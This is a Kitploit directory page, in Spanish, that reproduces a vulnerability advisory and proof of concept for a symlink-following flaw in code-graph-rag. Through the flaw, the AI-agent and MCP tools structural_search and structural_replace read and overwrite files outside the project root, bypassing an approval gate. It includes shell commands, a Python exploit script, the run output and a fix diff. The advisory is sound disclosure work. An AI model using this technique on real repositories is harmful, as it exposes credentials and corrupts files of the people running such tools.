Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
code-graph-rag-PoC — PoC — seguimiento de enlaces simbólicos para lectura/escritura arbitraria de archivos fuera de la raíz del proyecto en code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1). | Kitploit
Herramientas/GitHubGitHub/squeeze440/code-graph-rag-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — seguimiento de enlaces simbólicos para lectura/escritura arbitraria de archivos fuera de la raíz del proyecto en code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).

Ver Repositorio
hace 7 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

code-graph-rag: aviso de seguridad

Estado del CVE: solicitado, pendiente de asignación. Este hallazgo se publica como GHSA-85gg-2gfq-q95m. Al asignarse el CVE, este repositorio se renombra CVE-YYYY-NNNNN-code-graph-rag-PoC y este banner se reemplaza con el enlace del CVE.

InvestigadorDostxodjayev Abdullox (@squeeze440)
AvisoGHSA-85gg-2gfq-q95m
CVSS 3.17.1 (Alto)
DebilidadCWE-59, CWE-22

Resumen

Un atacante remoto/local que logre incluir un enlace simbólico en un repositorio de código fuente que code-graph-rag analiza puede provocar que las herramientas structural_search y structural_replace (respaldadas por AstGrepService, expuestas tanto como herramientas MCP como herramientas de IA agéntica) lean y — mediante structural_replace con dry_run=False — sobrescriban archivos arbitrarios fuera de la raíz del proyecto configurada, porque la comprobación de contención de rutas de la herramienta (should_skip_path/_classify_file) se realiza léxicamente sobre la ruta sin resolver y nunca comprueba Path.is_symlink() ni llama a .resolve(), a diferencia del propio decorador (correcto) validate_project_path del proyecto, usado en otros lugares.

Producto

vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)

Versión probada

Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (versión de pyproject 0.0.550) — main actual en el momento de la prueba. Se confirmó que este commit ya contiene la corrección del aviso anterior (GHSA-vvr2-h2jp-838m: path traversal en read_file paginado) y la puerta de autenticación bearer del HTTP-MCP más reciente (_validate_http_exposure en codebase_rag/mcp/server.py), por lo que este es un problema distinto y aún abierto sobre esas correcciones.

CVSS v3.1 estimado

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (Alto)

Métricas no obvias:

  • AV:L — el fallo es explotable puramente a través del uso local/CLI/stdio-MCP principal de la herramienta (analizar un repositorio que contiene un enlace simbólico plantado); no depende del transporte HTTP MCP opcional, ahora protegido con token bearer, por lo que el vector base se puntúa sobre la superficie local siempre presente en lugar de asumir un despliegue remoto.
  • UI:R — el atacante proporciona el repositorio malicioso (el enlace simbólico), pero una parte separada (un usuario, o un agente de IA actuando en su nombre) debe ejecutar realmente structural_search/structural_replace contra ese proyecto para que se dispare la lectura/escritura.
  • A:N — se demostró la sobrescritura arbitraria del contenido de un archivo; no se demostró ninguna cadena de caída/DoS del sistema, por lo que la Disponibilidad se puntúa de forma conservadora como None en lugar de asumirse.

Detalles

AstGrepService (codebase_rag/tools/ast_grep_service.py) respalda tanto las herramientas MCP/agénticas structural_search como structural_replace. Enumera los archivos candidatos con os.walk() y filtra cada ruta únicamente a través de should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — recorre self.project_root con os.walk(); cada entrada de directorio no-directorio devuelta por os.walk (incluido un enlace simbólico que apunte a cualquier lugar del disco) se trata como un archivo dentro del alcance.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — la única comprobación de contención es should_skip_path(...) seguida de abs_path.relative_to(self.project_root) (línea 82); abs_path nunca se resuelve, por lo que esta comprobación es puramente léxica/basada en cadenas.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) y codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — calcula rel_path = file_path.relative_to(repo_path) sin llamar nunca a .resolve() ni a Path.is_symlink(). Nada en esta función trata un enlace simbólico de forma diferente a un archivo real.
  • Sumidero de lectura: codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) llama a path.read_text(), que Python sigue a través del enlace simbólico hasta su objetivo real, sin importar dónde resida ese objetivo.
  • Sumidero de escritura: codebase_rag/tools/ast_grep_service.py:187-208 (replace), concretamente la línea 208 — abs_path.write_text(new_source, ...) cuando dry_run=False, siguiendo de nuevo el enlace simbólico y sobrescribiendo el contenido del archivo objetivo real.

Esto es inconsistente con cómo el resto del código base maneja exactamente la misma clase de riesgo. Las herramientas de lectura/escritura/edición de archivos (file_reader.py, file_writer.py, file_editor.py) están todas protegidas por validate_project_path (codebase_rag/decorators.py:73-75):

root@kitploit:~
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() sigue los enlaces simbólicos antes de que se ejecute la comprobación de contención, por lo que esas herramientas rechazan correctamente un objetivo fuera de la raíz. El propio absolute_path_within_project_root() de path_utils.py (codebase_rag/utils/path_utils.py:156-176) documenta el mismo principio explícitamente en su docstring: "Las llamadas a resolve() son fundamentales: la contención se comprueba léxicamente, por lo que un segmento .. sin resolver o un enlace simbólico escaparía de la raíz." — pero should_skip_path()/AstGrepService, usados por structural_search/structural_replace, nunca aplican ese patrón.

Alcance / exposición de las dos herramientas:

  • structural_search (codebase_rag/tools/structural_search.py:24-46) no lleva ningún indicador requires_approval en absoluto — el modelo de un cliente MCP puede llamarla de forma autónoma sin confirmación humana.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57) está marcada con requires_approval=True, pero ese indicador solo lo aplica el propio bucle de agente de pydantic-ai. La ruta del servidor MCP lo omite por completo: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) llama directamente a self._structural_editor_tool.function(...), y la herramienta MCP se registra sin ningún concepto de aprobación en codebase_rag/mcp/tools.py:369-388 (ToolMetadata para MCPToolName.STRUCTURAL_REPLACE) — cualquier cliente MCP que pueda llamar a herramientas puede invocar structural_replace con dry_run=False de una sola vez.

Prueba de concepto

Confirmado dinámicamente contra el paquete instalado (mgclient/pymgclient simulados exactamente como en la PoC del aviso anterior, ya que el cliente nativo de Memgraph no es necesario para esta ruta de código).

root@kitploit:~
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
root@kitploit:~
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Salida real de la ejecución (/tmp/poc_venv, paquete instalado mediante pip install --no-deps -e . desde el commit probado):

root@kitploit:~
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Sin capturas de pantalla — este es un hallazgo puramente a nivel de biblioteca/CLI sin componente de navegador/GUI.

Impacto

Cualquier operador que apunte cgr (CLI, modo agéntico ask_agent, o las herramientas MCP structural_search/structural_replace) a un repositorio que no haya auditado por completo — el caso de uso exacto para el que está construida esta herramienta ("consultar, comprender y editar bases de código multilenguaje") — puede ver cómo el enlace simbólico plantado en ese repositorio se usa para:

  • Divulgar el contenido de cualquier archivo legible por el proceso cgr (credenciales, claves SSH, archivos .env, código fuente de proyectos hermanos), mediante structural_search, sin ninguna puerta de aprobación en absoluto.
  • Sobrescribir el contenido de cualquier archivo escribible por el proceso cgr, mediante structural_replace(dry_run=False), omitiendo la propia puerta de aprobación de la herramienta cuando se llama a través del protocolo MCP.

Esta es la misma clase de error de "contenido malicioso en el código base analizado escapa de project_root" que GHSA-vvr2-h2jp-838m, pero con una causa raíz distinta (falta de resolución de enlaces simbólicos en AstGrepService/should_skip_path, CWE-59) y un sumidero distinto y más grave (escritura arbitraria, no solo lectura) en un componente diferente (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, no el read_file paginado de codebase_rag/mcp/tools.py). No se solapa con los rangos de líneas vulnerables ni con la corrección del aviso anterior.

Debilidades

  • CWE-59: Resolución incorrecta de enlaces antes del acceso a archivos ('Link Following') — causa raíz principal.
  • CWE-22: Limitación incorrecta de un nombre de ruta a un directorio restringido ('Path Traversal') — el escape resultante de la raíz del proyecto.

Remediación

Aplicar el mismo patrón de resolver-luego-contener que ya usan validate_project_path (codebase_rag/decorators.py:73-75) y absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) a should_skip_path. Rechazar cualquier ruta cuya ubicación resuelta (siguiendo enlaces simbólicos) escape de la raíz del proyecto resuelta, en lugar de comprobar solo la cadena de ruta sin resolver:

root@kitploit:~
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

Concretamente: este único cambio en should_skip_path corrige tanto _classify_file (search) como el filtrado de os.walk en _iter_source_files (replace), ya que ambos pasan por él. Como defensa en profundidad, _iter_source_files podría además omitir directamente las entradas de directorio que sean enlaces simbólicos (entry.is_symlink()) durante el os.walk, ya que una herramienta de análisis de código impulsada por IA nunca debería necesitar atravesar fuera de la raíz indexada en primer lugar.

Crédito

Dostxodjayev Abdullox (GitHub: squeeze440)

Canal de notificación

La Notificación Privada de Vulnerabilidades (PVR) está confirmada como habilitada en vitali87/code-graph-rag; este informe está destinado a enviarse a través de ese canal (GitHub Security Advisories), de forma coherente con el aviso ya publicado del repositorio (GHSA-vvr2-h2jp-838m).

Descargar herramienta